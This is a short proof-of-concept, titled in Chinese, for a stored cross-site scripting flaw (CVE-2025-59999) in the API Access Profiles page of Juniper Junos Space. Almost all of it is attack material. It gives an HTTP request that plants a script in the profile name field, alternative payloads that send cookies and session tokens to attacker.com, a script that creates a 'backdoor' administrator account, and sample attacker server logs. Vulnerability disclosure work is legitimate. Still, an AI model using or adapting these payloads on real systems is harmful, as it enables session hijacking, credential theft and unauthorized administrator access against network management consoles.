CVE-2025-59999：Juniper Junos Space API访问配置文件页面存储型XSS漏洞

<!-- CVE-2025-59999: Juniper Junos Space Stored XSS PoC --> <!-- This PoC demonstrates the stored XSS vulnerability in the API Access Profiles page --> <!-- Step 1: Attacker injects malicious script via the API Access Profiles creation page --> <!-- The vulnerable field accepts the following payload without proper sanitization --> POST /api/access-profiles HTTP/1.1 Host: <juniper-junos-space-host> Content-Type: application/json Cookie: <attacker_session_cookie> { "profile_name": ""><script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>", "description": "Normal description", "permissions": ["read", "write"] } <!-- Step 2: When an administrator views the API Access Profiles page, the injected script executes --> <!-- The malicious script runs in the administrator's browser context with full privileges --> <!-- Alternative payloads that could be used: --> <!-- Cookie theft: --> <script>fetch('https://attacker.com/exfil?c='+document.cookie)</script> <!-- Session hijacking via token theft: --> <script>fetch('https://attacker.com/steal',{method:'POST',body:JSON.stringify({token:localStorage.getItem('sessionToken')})})</script> <!-- Admin action hijacking (e.g., create backdoor admin account via CSRF): --> <script> fetch('/api/users',{ method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({username:'backdoor',password:'P@ssw0rd!',role:'admin'}) }); </script> <!-- Step 3: Attacker receives stolen data or completes malicious actions on their server --> <!-- Attacker server logs: --> <!-- GET /steal?cookie=<stolen_session_cookie> -->